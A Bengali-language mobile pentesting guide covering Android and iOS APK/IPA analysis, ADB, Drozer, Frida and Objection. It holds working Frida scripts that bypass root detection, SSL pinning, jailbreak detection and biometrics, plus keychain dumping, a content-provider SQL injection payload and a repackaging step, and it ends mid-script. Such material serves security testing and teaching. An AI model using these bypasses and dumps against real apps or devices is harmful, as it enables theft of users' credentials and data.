Mobile Application Hacking

Android ও iOS সিকিউরিটি — সম্পূর্ণ বাংলা গাইড

Android APK Analysis থেকে iOS App Pentesting, Frida Hooking, Traffic Interception, Root/Jailbreak Detection Bypass — সব কিছু এক জায়গায়।

Android

- APK Reverse Engineering
- ADB Exploitation
- Root Detection Bypass
- Frida Hooking

iOS

- IPA Analysis
- Jailbreak Bypass
- Objection Framework
- Keychain Dumping

APK Analysis | ADB | Frida | Root Bypass | iOS Pentest | Keychain | Objection | Traffic Intercept | Smali/Jadx | plist Analysis

📋 বিষয়সূচি

01 **Mobile Security ফান্ডামেন্টাল**

Android vs iOS Architecture, Attack Surface, OWASP Mobile Top 10

02 **Android Architecture ও Security Model**

APK Structure, Permission System, Sandbox, Intents

03 **Android Static Analysis**

APK Decompile, JADX, Androguard, Manifest Analysis, Hardcoded Secrets

04 **Android Dynamic Analysis**

ADB বিস্তারিত, Logcat, Activity Launch, Data Extraction

05 **Frida — Dynamic Instrumentation**

Frida Setup, Hooking Functions, Root/SSL Pinning Bypass

06 **Android Traffic Interception**

Burp Suite Setup, SSL Pinning Bypass, Certificate Bypass

07 **iOS Architecture ও Security Model**

iOS Sandbox, Code Signing, Secure Enclave, Entitlements

08 **iOS Static Analysis**

IPA Analysis, plist Files, Binary Analysis, Strings

09 **iOS Dynamic Analysis**

Objection Framework, Frida iOS, Keychain Dumping, Class Dump

10 Mobile Traffic Analysis

Burp Suite Mobile, mitmproxy, Wireshark, API Testing

11 OWASP Mobile Top 10 — বিস্তারিত

M1-M10 প্রতিটি দুর্বলতা Exploit সহ

12 Tools ও Lab Setup

MobSF, Drozer, apktool, Genymotion, Lab Environment

CHAPTER 01

📱 Mobile Security ফান্ডামেন্টাল

শুরু করার আগে যা জানতেই হবে

Mobile App কেন হ্যাক করা হয়?

বিশ্বে ৬০%+ ইন্টারনেট ব্যবহার হয় মোবাইল থেকে। Banking, Shopping, Healthcare — সব কিছুই এখন App-এ। তাই Mobile App হলো হ্যাকারদের সবচেয়ে বড় টার্গেট।

🤖 Android Attack Surface

- APK Reverse Engineering
- Hardcoded Secrets
- Insecure Data Storage
- Weak Cryptography
- Intent Hijacking
- Exported Activities
- Root Detection Bypass
- SSL Pinning Bypass

🍎 iOS Attack Surface

- IPA Binary Analysis
- Keychain Data Extraction
- Insecure plist Storage
- Jailbreak Detection Bypass
- Method Swizzling
- Weak Touch ID Implementation
- URL Scheme Hijacking
- Certificate Pinning Bypass

Android vs iOS — Security তুলনা

বিষয়	Android	iOS
Source	Open Source (AOSP)	Closed Source
App Store	Google Play + Sideloading	App Store only (Jailbreak ছাড়া)
Sandbox	Linux-based	Strict Sandbox

বিষয়	Android	iOS
Permission	Runtime Permission	Granular Permission
Hacking সহজ?	⭐⭐⭐⭐⭐ অনেক সহজ	⭐⭐⭐ কঠিন কিন্তু সম্ভব
Rooting/Jailbreak	Root সহজ	Jailbreak কঠিন
Testing Tool	ADB, apktool, Frida	Objection, Frida, Cycript
Malware বেশি?	হ্যাঁ (৯৮%+ Mobile Malware)	তুলনামূলক কম

OWASP Mobile Top 10 — ২০২৪

#	ভালনারেবিলিটি	উদাহরণ
M1	Improper Credential Usage	Hardcoded password, Weak auth
M2	Inadequate Supply Chain Security	Malicious SDK/Library
M3	Insecure Authentication/Authorization	Weak session, Token reuse
M4	Insufficient Input/Output Validation	SQLi, XSS in WebView
M5	Insecure Communication	No SSL, Weak cipher
M6	Inadequate Privacy Controls	PII leak, Over-permission
M7	Insufficient Binary Protection	No obfuscation, Reversible
M8	Security Misconfiguration	Debug mode, Default creds
M9	Insecure Data Storage	Plaintext storage, Shared prefs
M10	Insufficient Cryptography	MD5, ECB mode, Hardcoded key

Lab Setup — কী কী লাগবে?

Android Lab

iOS Lab

- Genymotion / Android Studio Emulator
- Kali Linux (বা Ubuntu)
- apktool, jadx, dex2jar
- Frida + frida-tools
- Burp Suite Community
- MobSF (Mobile Security Framework)
- ADB (Android Debug Bridge)
- Drozer

- Mac OS (প্রয়োজনীয়) বা iPhone
- Jailbroken iPhone (checkra1n/unc0ver)
- Frida + Objection
- Burp Suite
- class-dump
- Hopper Disassembler
- iMazing / 3uTools
- Cydia (Package Manager)

CHAPTER 02 — ANDROID

🤖 Android Architecture ও Security Model

APK কীভাবে কাজ করে, Permission, Sandbox বুঝতে হবে

Android Architecture

```
Android Architecture Stack:

┌──────────────────────────────────────┐
│         Applications Layer           │
│  [Gmail] [Chrome] [Banking App] [Games] │ ← APK ফাইল
├──────────────────────────────────────┤
│      Application Framework           │
│  Activity Manager | Package Manager  │
│  Content Providers | Notification Mgr │
├──────────────────────────────────────┤
│    Android Runtime (ART) + Libraries │
│  SQLite | WebKit | OpenGL | Media    │
├──────────────────────────────────────┤
│         Linux Kernel                 │
│  [Drivers] [Memory] [Process] [Network] │
└──────────────────────────────────────┘

Security Layer প্রতিটি স্তরে:
App Sandbox → SELinux → Permission → Encryption
```

APK Structure — ভেতরে কী আছে?

```
# APK আসলে একটি ZIP ফাইল! unzip app.apk -d app_extracted/ ls app_extracted/
app.apk/ ├── AndroidManifest.xml ← ★ সবচেয়ে গুরুত্বপূর্ণ! Permissions, Activities
├── classes.dex ← Compiled Java/Kotlin code (DEX format) ├── classes2.dex ←
আরও code (বড় app-এ) ├── resources.arsc ← Compiled resources ├── lib/ ← Native
```

```
libraries (.so files) │ ├── arm64-v8a/ │ ├── armeabi-v7a/ │ └── x86/ ├── assets/ ← ★ Raw files, databases, configs ├── res/ ← UI resources, layouts, strings │ ├── layout/ ← XML layouts │ ├── values/ ← strings.xml (hardcoded values!) │ └── drawable/ ← Images └── META-INF/ ← APK Signature ├── CERT.RSA ← Certificate └── MANIFEST.MF ← File hashes
```

AndroidManifest.xml — সবচেয়ে গুরুত্বপূর্ণ ফাইল

```
<!-- AndroidManifest.xml উদাহরণ --> <manifest package="com.example.bankapp">
<!-- ★ Permissions — কী অ্যাক্সেস চাইছে? --> <uses-permission
android:name="android.permission.INTERNET"/> <uses-permission
android:name="android.permission.READ_CONTACTS"/> <uses-permission
android:name="android.permission.CAMERA"/> <uses-permission
android:name="android.permission.READ_SMS"/> <!-- ⚠ --> <application
android:debuggable="true" <!-- ★ Debug mode! বিপজ্জনক -->
android:allowBackup="true" <!-- ★ ADB দিয়ে backup সম্ভব -->
android:networkSecurityConfig="@xml/network_security_config"> <!-- Activities
--> <activity android:name=".MainActivity" android:exported="true"> <intent-
filter> <action android:name="android.intent.action.MAIN"/> </intent-filter>
</activity> <!-- ★ Exported Activity — যেকেউ call করতে পারবে! --> <activity
android:name=".AdminActivity" android:exported="true"/> <!-- ← বিপজ্জনক! -->
<!-- Content Provider --> <provider android:name=".UserProvider"
android:exported="true" <!-- ← data leak সম্ভব -->
android:authorities="com.example.provider"/> </application> </manifest>
```

Android Components — Attack Vector

Component	কাজ	Attack সম্ভাবনা
Activity	একটি Screen/UI	exported=true হলে unauthorized launch
Service	Background task	exported service abuse
Broadcast Receiver	System event শোনা	Intent injection, data interception
Content Provider	Data share করা	SQL injection, data theft
Intent	Component-এর মধ্যে যোগাযোগ	Intent Hijacking, Sniffing

Component	কাজ	Attack সম্ভাবনা
WebView	Web content দেখানো	XSS, JavaScript Bridge abuse

Android Permission — কীভাবে ব্যবহার করবে?

```
# Dangerous Permissions — মানুষের Privacy-তে হস্তক্ষেপ করে
android.permission.READ_CONTACTS # সব Contact android.permission.READ_SMS #
SMS পড়া — OTP চুরি সম্ভব! android.permission.ACCESS_FINE_LOCATION # GPS location
android.permission.CAMERA # Camera access android.permission.RECORD_AUDIO #
Microphone android.permission.READ_CALL_LOG # Call history
android.permission.SEND_SMS # SMS পাঠানো # ADB দিয়ে Permission দেখা adb shell pm
list permissions -d -g # Dangerous permissions adb shell dumpsys package
com.target.app | grep permission
```

CHAPTER 03 — ANDROID

🔬 Android Static Analysis

APK Decompile করে Source Code বিশ্লেষণ

APK Download করা

```
# Play Store থেকে APK download করার উপায়: # ১. APKPure.com — third party # ২. APKMirror.com — trusted # ৩. Device থেকে pull করা: adb shell pm list packages | grep target # Package name খোঁজো adb shell pm path com.target.app # APK path package:/data/app/com.target.app-1.apk adb pull /data/app/com.target.app-1.apk # Pull করো # Google Play থেকে: # Browser extension: APK Downloader
```

apktool — APK Decompile

```
# Install apt install apktool # APK Decompile apktool d app.apk -o app_decoded/ # Output: app_decoded/ ├── AndroidManifest.xml ← Human readable! ├── smali/ ← Smali code (Assembly-like) ├── res/ ← Resources └── assets/ ← Raw files # Smali থেকে APK তৈরি (Repackaging) apktool b app_decoded/ -o modified_app.apk # APK Sign করা (install করতে লাগবে) keytool -genkey -v -keystore my.keystore -alias mykey -keyalg RSA -keysize 2048 -validity 10000 jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my.keystore modified_app.apk mykey
```

JADX — Java Code Decompile

```
# Install JADX apt install jadx # অথবা GitHub থেকে download # CLI দিয়ে jadx app.apk -d output_dir/ # Java source code পাবে! # GUI দিয়ে (সবচেয়ে সহজ) jadx-gui app.apk # ⭐ দরকারী JADX Tips: # Ctrl+F → Code search # "password" খোঁজো #
```

```
"secret" খোঁজো # "api_key" খোঁজো # "Bearer" খোঁজো (API Token) # "http://" খোঁজো (Hardcoded URL)
```

Hardcoded Secrets খোঁজা

```
# APK decompile করার পর: grep -r "password" output_dir/ --include="*.java" grep -r "secret" output_dir/ --include="*.java" grep -r "api_key\|apikey\|API_KEY" output_dir/ -i grep -r "aws_secret\|aws_access" output_dir/ -i grep -r "private_key\|privatekey" output_dir/ -i grep -r "Bearer\|token" output_dir/ -i # strings.xml থেকে cat output_dir/res/values/strings.xml | grep -i "key\|secret\|pass\|token" # assets ফাইল find output_dir/assets/ -type f -exec file {} \; cat output_dir/assets/config.json 2>/dev/null cat output_dir/assets/app.properties 2>/dev/null # Network Security Config cat output_dir/res/xml/network_security_config.xml # cleartext traffic allowed? → HTTP ব্যবহার করছে! # Firebase URL খোঁজা grep -r "firebaseio.com" output_dir/ # Firebase publicly accessible কিনা: curl "https://project-id.firebaseio.com/.json"
```

MobSF — Automated Static Analysis

```
# MobSF Install (Docker দিয়ে সহজ) docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf # Browser-এ: http://localhost:8000 # APK Upload করো → সব analyze হবে automatically # MobSF যা যা করে: # ✅ Manifest analysis # ✅ Permission analysis # ✅ Hardcoded secrets # ✅ Security score # ✅ API endpoint # ✅ Vulnerability report
```

Interesting Files in APK

```
# SQLite Database find output_dir/ -name "*.db" -o -name "*.sqlite" sqlite3 found_database.db .tables # সব table SELECT * FROM users; # User data! # SharedPreferences XML (প্রায়ই sensitive data) find output_dir/ -name "*.xml" -path "*/shared_prefs/*" cat *.xml | grep -i "token\|session\|pass" # Native
```

```
Library Analysis find output_dir/lib/ -name "*.so" strings libapp.so | grep -i
"password\|secret\|key" nm -D libapp.so # Exported symbols
```

CHAPTER 04 — ANDROID

⚡ Android Dynamic Analysis — ADB বিস্তারিত

চলমান App-এ attack করো

ADB (Android Debug Bridge) — সম্পূর্ণ গাইড

```
# ADB সংযোগ adb devices # সংযুক্ত device দেখো adb connect 192.168.1.5 # Network-এ connect adb shell # Device-এর shell খোলো # ★ App Information adb shell pm list packages # সব installed app adb shell pm list packages -3 # Third-party app শুধু adb shell pm list packages | grep bank # Banking app adb shell dumpsys package com.target.app # App বিস্তারিত # ★ Activity Launch (Exported Activity bypass) adb shell am start -n com.target.app/.AdminActivity adb shell am start -n com.target.app/.MainActivity adb shell am start -a android.intent.action.VIEW -d "bankapp://payment?amount=0" # ★ File System Access adb shell ls /data/data/com.target.app/ # App data adb shell ls /data/data/com.target.app/shared_prefs/ adb shell ls /data/data/com.target.app/databases/ adb shell ls /data/data/com.target.app/files/ # File Pull/Push adb pull /data/data/com.target.app/databases/user.db ./ adb push malicious.apk /sdcard/ adb shell pm install /sdcard/malicious.apk # ★ App Backup (allowBackup=true হলে) adb backup -noapk com.target.app -f backup.ab # Backup থেকে extract: dd if=backup.ab bs=24 skip=1 | python3 -c "import zlib,sys; sys.stdout.buffer.write(zlib.decompress(sys.stdin.buffer.read()))" | tar -xvf -
```

Logcat — Real-time Log Analysis

```
# সব log দেখো adb logcat # নির্দিষ্ট app-এর log adb logcat | grep com.target.app # Error log adb logcat *:E # ★ Password/Token log-এ আছে কিনা: adb logcat | grep -i "password\|token\|secret\|key\|auth" # Log file-এ সেভ করো adb logcat -d >
```

```
device_log.txt # App crash করলে stack trace: adb logcat | grep "AndroidRuntime"
```

Drozer — Android Security Framework

```
# Drozer setup: # ১. Device-এ drozer.apk install করো # ২. Port forward: adb forward tcp:31415 tcp:31415 # ৩. Connect: drozer console connect # ★ App Attack Surface dz> run app.package.attacksurface com.target.app Attack Surface: 3 activities exported 1 broadcast receivers exported 1 content providers exported 0 services exported # ★ Activity Launch dz> run app.activity.start --component com.target.app com.target.app.AdminActivity # ★ Content Provider থেকে Data চুরি dz> run app.provider.query content://com.target.app.provider/users dz> run app.provider.query content://com.target.app.provider/users --selection "1=1" # ★ Content Provider SQL Injection dz> run app.provider.query content://com.target.app.provider/users --selection "1=1) UNION SELECT name,password,3 FROM sqlite_master--" # Broadcast Intent Send dz> run app.broadcast.send --action com.target.ADMIN_ACTION --extra string cmd "shell"
```

Insecure Data Storage খোঁজা

```
# ১. SharedPreferences adb shell cat /data/data/com.target.app/shared_prefs/*.xml # প্রায়ই পাওয়া যায়: <string name="auth_token">eyJhbGci...</string> <string name="user_password">admin123</string> # ২. SQLite Database adb pull /data/data/com.target.app/databases/ sqlite3 app.db .tables SELECT * FROM users; SELECT * FROM sessions; # ৩. External Storage (সবাই পড়তে পারে!) adb shell ls /sdcard/com.target.app/ adb pull /sdcard/com.target.app/ # ৪. Log ফাইলে sensitive data adb shell find /sdcard/ -name "*.log" 2>/dev/null adb shell find /data/data/com.target.app/ -name "*.log" 2>/dev/null
```

CHAPTER 05 — ANDROID & IOS

💉 Frida — Dynamic Instrumentation

চলমান App-এর Function Hook করো — সবচেয়ে শক্তিশালী টুল

Frida কী ও Setup

Frida হলো একটি dynamic instrumentation toolkit। চলমান App-এর যেকোনো function intercept, modify বা bypass করা যায়।

```
# Kali-তে Frida install pip3 install frida-tools # Android Device-এ Frida Server: # ১. frida-server download করো (device architecture অনুযায়ী) # https://github.com/frida/frida/releases # ২. Device-এ push করো: adb push frida-server /data/local/tmp/ adb shell chmod +x /data/local/tmp/frida-server adb shell /data/local/tmp/frida-server & # Frida কাজ করছে কিনা চেক: frida-ps -U # USB device-এর process list frida-ps -U | grep target # নির্দিষ্ট app
```

Frida Scripting — মূল ধারণা

```
// ★ Basic Hook — যেকোনো Java Method Java.perform(function() { // Class লোড করো var TargetClass = Java.use("com.target.app.LoginActivity"); // Method hook করো TargetClass.checkPassword.implementation = function(password) { console.log("[*] checkPassword called with: " + password); // Original function call করো var result = this.checkPassword(password); console.log("[*] Result: " + result); // Return value পরিবর্তন করো return true; // সবসময় true! }; });
```

```
# Script চালানো: frida -U -f com.target.app -l hook.js frida -U com.target.app -l hook.js # চলমান app-এ # Interactive mode: frida -U com.target.app
```

Root Detection Bypass

```
// Root Detection Bypass Script Java.perform(function() { // Method 1: RootBeer library bypass try { var RootBeer = Java.use("com.scottyab.rootbeer.RootBeer"); RootBeer.isRooted.implementation = function() { console.log("[*] isRooted() bypassed!"); return false; }; } catch(e) { console.log("RootBeer not found"); } // Method 2: SafetyNet bypass try { var SafetyNet = Java.use("com.google.android.gms.safetynet.SafetyNetApi"); // Hook করো... } catch(e) {} // Method 3: File check bypass var File = Java.use("java.io.File"); File.exists.implementation = function() { var name = this.getAbsolutePath(); // Root-related file check block করো if (name.indexOf("su") !== -1 || name.indexOf("magisk") !== -1 || name.indexOf("busybox") !== -1) { console.log("[*] Root file check blocked: " + name); return false; } return this.exists(); }; });
```

SSL Pinning Bypass

```
// SSL Certificate Pinning Bypass Java.perform(function() { // OkHttp3 bypass (সবচেয়ে সাধারণ) try { var CertificatePinner = Java.use("okhttp3.CertificatePinner"); CertificatePinner.check.overload("java.lang.String", "java.util.List") .implementation = function() { console.log("[*] OkHttp3 SSL Pinning Bypassed!"); }; } catch(e) {} // TrustManager bypass try { var TrustManagerImpl = Java.use("com.android.org.conscrypt.TrustManagerImpl"); TrustManagerImpl.verifyChain.implementation = function() { console.log("[*] TrustManager bypassed!"); return arguments[0]; // Chain return করো }; } catch(e) {} // X509 All trust bypass var X509TrustManager = Java.use("javax.net.ssl.X509TrustManager"); var SSLContext = Java.use("javax.net.ssl.SSLContext"); // Custom TrustManager যা সব certificate trust করে var TrustManagers = Java.array("javax.net.ssl.TrustManager", [ Java.implement(X509TrustManager, { checkClientTrusted: function() {}, checkServerTrusted: function() {}, getAcceptedIssuers: function() { return []; } }) ]); var sslContext = SSLContext.getInstance("TLS"); sslContext.init(null, TrustManagers, null); });
```

Objection — Frida-based Framework

```
# Install pip3 install objection # App-এ inject করো objection -g
com.target.app explore # ⭐ Objection Commands: android hooking list classes #
সব class android hooking list class_methods com.target.app.LoginActivity
android hooking watch class_method com.target.app.LoginActivity.checkLogin #
SSL Pinning Bypass (one command!) android sslpinning disable # Root Detection
Bypass android root disable # Data Storage android filesystem list # File
system android preferences list # SharedPreferences android sqlite list #
SQLite databases android sqlite query --query "SELECT * FROM users" user.db #
Memory Analysis memory list modules memory search --string "password" memory
dump all dump.bin
```

CHAPTER 06 — ANDROID

🌐 Android Traffic Interception

App-এর network traffic intercept করো

Burp Suite + Android Setup

```
# ধাপ ১: Burp Proxy চালু করো # Proxy → Options → Add: 0.0.0.0:8080 # ধাপ ২: Android Emulator/Device Proxy সেট করো # Settings → WiFi → Long press → Modify Network # Proxy: Manual, Host: আমার PC IP, Port: 8080 # ধাপ ৩: Burp Certificate Install করো # Browser-এ: http://burpsuite → Download CA Certificate # Android Settings → Security → Install Certificate # ADB দিয়ে Certificate install (Android 7+ এর জন্য): openssl x509 -inform DER -in cacert.der -out cacert.pem openssl x509 -inform PEM -subject_hash_old -in cacert.pem | head -1 # Output: 9a5ba575 cp cacert.pem 9a5ba575.0 adb root adb push 9a5ba575.0 /system/etc/security/cacerts/ adb shell chmod 644 /system/etc/security/cacerts/9a5ba575.0
```

Network Security Config Override

```
# res/xml/network_security_config.xml তৈরি করো: <?xml version="1.0" encoding="utf-8"?> <network-security-config> <base-config cleartextTrafficPermitted="true"> <trust-anchors> <certificates src="system"/> <certificates src="user"/> <!-- User-installed cert trust করবে --> </trust-anchors> </base-config> </network-security-config> # AndroidManifest.xml-এ যোগ করো: <application android:networkSecurityConfig="@xml/network_security_config"> # তারপর Repackage করো: apktool b app_decoded/ -o patched.apk # Sign করো → Install করো
```

mitmproxy — CLI Traffic Analysis

```
# Install pip3 install mitmproxy # HTTP/HTTPS intercept mitmproxy --mode transparent mitmweb # Web interface: http://127.0.0.1:8081 mitmdump # CLI output # Filter দিয়ে নির্দিষ্ট দেখো: mitmproxy --mode regular -p 8080 # Script দিয়ে Auto-modify: # intercept.py: def request(flow): if flow.request.path == "/api/login": flow.request.content = b'{"bypass": true}' mitmproxy -s intercept.py
```

CHAPTER 07 — IOS

🍎 iOS Architecture ও Security Model

iOS-এর নিরাপত্তা ব্যবস্থা বোঝো

iOS Security Architecture

```
iOS Security Layers:

┌──────────────────────────────────────┐
│              App Layer               │
│  [Banking App] [Games] [Social Media]  │
├──────────────────────────────────────┤
│           App Sandbox                │
│  প্রতিটি App নিজের Container-এ সীমাবদ্ধ |
├──────────────────────────────────────┤
│         System Services              │
│  Keychain | Face ID | Touch ID | iCloud  |
├──────────────────────────────────────┤
│    Secure Enclave (Hardware)         │
│  Biometric Data | Encryption Keys    │
├──────────────────────────────────────┤
│         XNU Kernel                   │
│  Code Signing | ASLR | DEP | Sandbox  |
└──────────────────────────────────────┘
```

iOS App Bundle Structure

```
# IPA ফাইল = ZIP archive unzip app.ipa -d app_extracted/ ls
app_extracted/Payload/App.app/ App.app/ ├── Info.plist ← ★ App metadata,
permissions, URL schemes ├── app_binary ← Compiled ARM binary (Mach-O format)
├── embedded.mobileprovision ← Provisioning profile ├── _CodeSignature/ ← Code
```

```
signing info ├── *.plist ← Configuration files ├── Base.lproj/ ← UI files └── Frameworks/ ← Embedded frameworks
```

iOS Data Storage

Storage Type	অবস্থান	সিকিউরিটি ঝুঁকি
Keychain	Secure Hardware-based	Jailbreak → Dump করা যায়
NSUserDefaults	/Library/Preferences/*.plist	Plaintext — সহজেই পড়া যায়
Core Data	/Library/Application Support/	SQLite DB — Unencrypted
Files	/Documents/ /Library/ /tmp/	Unencrypted files
Pasteboard	System clipboard	অন্য app পড়তে পারে
Cached Data	/Library/Caches/	Sensitive data cache

Jailbreak কী ও কেন দরকার?

Jailbreak মানে iOS-এর সীমাবদ্ধতা সরিয়ে root access পাওয়া। iOS Pentest-এ Jailbroken device প্রায় অপরিহার্য।

```
# জনপ্রিয় Jailbreak Tools: checkra1n # iPhone X পর্যন্ত (Hardware exploit) unc0ver # iOS 11-14 Taurine # iOS 14-15 Palera1n # iOS 15-16 (A8-A11 chip) # Jailbreak ছাড়া কী করা যায়? # ✅ Static Analysis (IPA) # ✅ Network Traffic Interception # ✅ Frida (Injected via Debug entitlement) # ❌ Keychain dump # ❌ File System Access # ❌ Runtime Hook (সীমিত)
```

CHAPTER 08 — IOS

🔍 iOS Static Analysis

IPA Binary ও plist বিশ্লেষণ

Info.plist বিশ্লেষণ

```
# Info.plist পড়া plutil -p Info.plist cat Info.plist | grep -i "key\|secret\|password\|url" # গুরুত্বপূর্ণ keys: NSAppTransportSecurity # ← HTTP allow করছে? CFBundleURLTypes # ← URL schemes NSCameraUsageDescription # ← Camera access কেন? NSLocationWhenInUseUsageDescription # ← Location কেন? NSContactsUsageDescription # ← Contacts কেন? NSMicrophoneUsageDescription
```

```
# ⚠️ ATS Disabled হলে HTTP ব্যবহার হচ্ছে: <key>NSAppTransportSecurity</key> <dict> <key>NSAllowsArbitraryLoads</key> <true/> <!-- ← বিপজ্জনক! --> </dict>
```

Binary Analysis

```
# Strings বের করা strings AppBinary | grep -i "password\|secret\|key\|token\|api" strings AppBinary | grep "http" # Security Checks otool -l AppBinary | grep -E "ENCRYPT|stack_chk" # Encryption check otool -l AppBinary | grep PIE # ASLR check checksec AppBinary # Security features # class-dump — Objective-C class বের করা class-dump AppBinary > classes.txt cat classes.txt | grep -i "password\|login\|auth\|key" # Hopper Disassembler (GUI) — ARM Assembly analysis # Binary খোলো → Pseudocode দেখো # Binary কি Fat/Universal? file AppBinary lipo -info AppBinary # সব architecture দেখো # Decrypt করা (Jailbroken device) # Clutch বা frida-ios-dump দিয়ে: frida-ios-dump com.target.app
```

plist File Analysis

```
# সব plist ফাইল খোঁজো find . -name "*.plist" | head -20 # Binary plist → XML convert plutil -convert xml1 settings.plist -o settings_xml.plist cat settings_xml.plist # NSUserDefaults # Jailbroken device-এ: cat /var/mobile/Containers/Data/Application/[UUID]/Library/Preferences/com.target.app. # Cached Responses find . -name "*.db" -path "*/Caches/*" sqlite3 Cache.db "SELECT * FROM cfurl_cache_response;" # Hardcoded Secrets খোঁজা grep -r "password\|secret\|api_key\|private_key\|token" . --include="*.plist" grep -r "http://" . --include="*.plist"
```

MobSF দিয়ে iOS Static Analysis

```
# MobSF-এ IPA upload করো # http://localhost:8000 # Report-এ দেখবে: # ✅ Binary security checks (PIE, ARC, Stack Guard) # ✅ Permission analysis # ✅ Hardcoded secrets # ✅ URL scheme vulnerabilities # ✅ ATS configuration # ✅ Plist analysis
```

CHAPTER 09 — IOS

⚡ iOS Dynamic Analysis

Objection, Frida, Keychain Dump

Objection — iOS

```
# Jailbroken device-এ Frida Server চালাও # Cydia → Frida install # Connect: objection -g com.target.app explore # ★ Jailbreak Detection Bypass ios jailbreak disable # ★ SSL Pinning Bypass ios sslpinning disable # ★ Keychain Dump ios keychain dump ios keychain dump --json keychain_data.json # ★ File System ios filesystem ls ios filesystem ls /var/mobile/Documents/ # ★ NSUserDefaults ios nsuserdefaults get # ★ Pasteboard ios pasteboard monitor # ★ Class Methods Hook ios hooking list classes ios hooking list class_methods LoginViewController ios hooking watch method "-[LoginViewController checkAuth:]"
```

Frida iOS Scripting

```
// iOS Jailbreak Detection Bypass ObjC.schedule(ObjC.mainQueue, function() { // Common jailbreak check bypass var JailbreakChecker = ObjC.classes.JailbreakChecker; if (JailbreakChecker) { var method = JailbreakChecker["- isJailbroken"]; Interceptor.attach(method.implementation, { onLeave: function(retval) { console.log("[*] Jailbreak check bypassed!"); retval.replace(0); // false return } }); } });
```

```
// Keychain Data Dump ObjC.schedule(ObjC.mainQueue, function() { var SecItemCopyMatching = new NativeFunction( Module.findExportByName("Security", "SecItemCopyMatching"), "int", ["pointer", "pointer"] ); // Intercept all Keychain reads Interceptor.attach(Module.findExportByName("Security", "SecItemCopyMatching"), { onEnter: function(args) { console.log("[*] Keychain
```

```
access detected!"); }, onLeave: function(retval) { console.log("[*] Keychain
result: " + retval); } }); });
```

Cycript — Objective-C Runtime Manipulation

```
# Jailbroken device-এ Cycript (Cydia থেকে install) cycript -p com.target.app #
Interactive shell-এ: cy# [UIApplication sharedApplication] cy# [[UIApplication
sharedApplication] delegate] # Password field value দেখা cy# [[[UIApplication
sharedApplication] keyWindow] recursiveDescription] # Current View Controller
cy# UIApp.keyWindow.rootViewController
```

CHAPTER 10 — ANDROID & IOS

🌐 Mobile Traffic Analysis

App-এর API Traffic intercept ও analyze করো

iOS Traffic Interception

```
# iPhone Proxy Settings: # Settings → WiFi → (i) → Configure Proxy # Manual: Server=PC_IP, Port=8080 # Burp CA Certificate Install: # ১. Mobile Safari-তে: http://burpsuite # ২. Profile Download করো # ৩. Settings → General → VPN & Device Management → Install # ৪. Settings → General → About → Certificate Trust Settings → Enable
```

SSL Pinning Bypass — সব পদ্ধতি

```
# Method 1: Frida Script (Android + iOS) # ★ Universal SSL Unpinning Script: frida --codeshare akabe1/frida-ios-ssl-kill-switch2 -f com.target.app # iOS frida --codeshare akabe1/frida-multiple-unpinning -U -f com.target.app # Android # Method 2: Objection (সবচেয়ে সহজ) objection -g com.target.app explore android sslpinning disable # Android ios sslpinning disable # iOS # Method 3: APK Patching (Android) # apktool দিয়ে decompile → Network Security Config add → Repackage # Method 4: Magisk Module (Root Android) # Magisk → Install "MagiskTrustUserCerts" module # System certificate হিসেবে Burp CA যোগ হবে # Method 5: Xposed Framework (Android) # JustTrustMe / TrustMeAlready module install
```

Traffic বিশ্লেষণ — কী খুঁজবে?

```
# Burp-এ Mobile Traffic দেখে এগুলো খোঁজো: # ১. Authentication Token Authorization: Bearer eyJhbGci... # JWT Token → Attack! X-Auth-Token: abc123xyz # ২. Sensitive Data Transmission GET /api/user/profile HTTP/1.1
```

```
{"ssn": "123-45-6789", "dob": "1990-01-01"} # ← PII সরাসরি! # ৩. Insecure HTTP
http://api.bankapp.com/login # ← HTTP ব্যবহার! # ৪. IDOR in API GET
/api/v1/users/1001/account # ← 1002 করে দেখো # ৫. Weak API Authentication #
Token না থাকলে কী হয়? # Expired token কাজ করে? # অন্যের token দিয়ে কাজ হয়? # ৬.
Sensitive Data in URL GET /api/login?password=admin123 # ← URL-এ password! GET
/api/transfer?amount=100&to=acc # ← Amount manipulation! # ৭. Verbose Error
Messages {"error": "SQL Error: syntax near 'admin'", "query": "SELECT * FROM
users..."}
```

CHAPTER 11

🏆 OWASP Mobile Top 10 — Exploit সহ

প্রতিটি ভালনারেবিলিটি কীভাবে খুঁজবে ও exploit করবে

M1: Improper Credential Usage

```
# Hardcoded Credentials খোঁজা grep -r "password\s*=\s*['\"]" decompiled/ grep -r "api_key\s*=\s*['\"]" decompiled/ grep -r "secret\s*=\s*['\"]" decompiled/ # উদাহরণ দুর্বল code: String API_KEY = "sk-1234567890abcdef"; // Hardcoded! if (password.equals("admin123")) { login(); } // Hardcoded!
```

M3: Insecure Authentication

```
# Token Manipulation # ১. JWT None Algorithm: # Header: {"alg":"none"} → role: admin → no signature # ২. Token Parameter Tampering: # API response: {"user_id": 123, "is_admin": false} # Burp-এ intercept → "is_admin": true করো # ৩. Biometric Bypass (Frida): Java.perform(function() { var FingerprintManager = Java.use("android.hardware.fingerprint.FingerprintManager"); FingerprintManager.authenticate.implementation = function() { // Success callback trigger করো arguments[3].onAuthenticationSucceeded(null); }; });
```

M5: Insecure Communication

```
# HTTP ব্যবহার detect করা # Network Security Config: cat network_security_config.xml | grep "cleartext" # অথবা Traffic-এ HTTP দেখো # Weak TLS detect: nmap --script ssl-enum-ciphers api.target.com testssl.sh api.target.com
```

M9: Insecure Data Storage — সবচেয়ে বেশি পাওয়া যায়

```
# Android: adb shell cat /data/data/com.target.app/shared_prefs/prefs.xml
<string name="password">admin123</string> ← Plaintext! <string
name="session_token">eyJhbGci...</string> ← Token! # iOS Keychain
(Jailbroken): objection -g com.target.app explore ios keychain dump
{"service": "com.target.app", "account": "user@email.com", "value":
"password123"} # External Storage (Android) adb shell find /sdcard/ -name
"*.db" -o -name "*.txt" -o -name "*.json" # Clipboard Monitoring # App কি
clipboard monitor করছে? adb shell dumpsys clipboard
```

M10: Insufficient Cryptography

```
# Weak Algorithm detect: grep -r "MD5\|SHA1\|DES\|ECB\|Random()" decompiled/ #
Weak crypto grep -r "AES\|RSA" decompiled/ | grep "ECB" # ECB mode! #
Hardcoded Key: byte[] key = "1234567890123456".getBytes(); // Hardcoded AES
key! Cipher.getInstance("AES/ECB/PKCS5Padding"); // ECB = vulnerable! # Frida
দিয়ে Encryption Intercept: // Hook Cipher.doFinal to see plaintext
Java.perform(function() { var Cipher = Java.use("javax.crypto.Cipher");
Cipher.doFinal.overload("[B").implementation = function(data) { console.log("
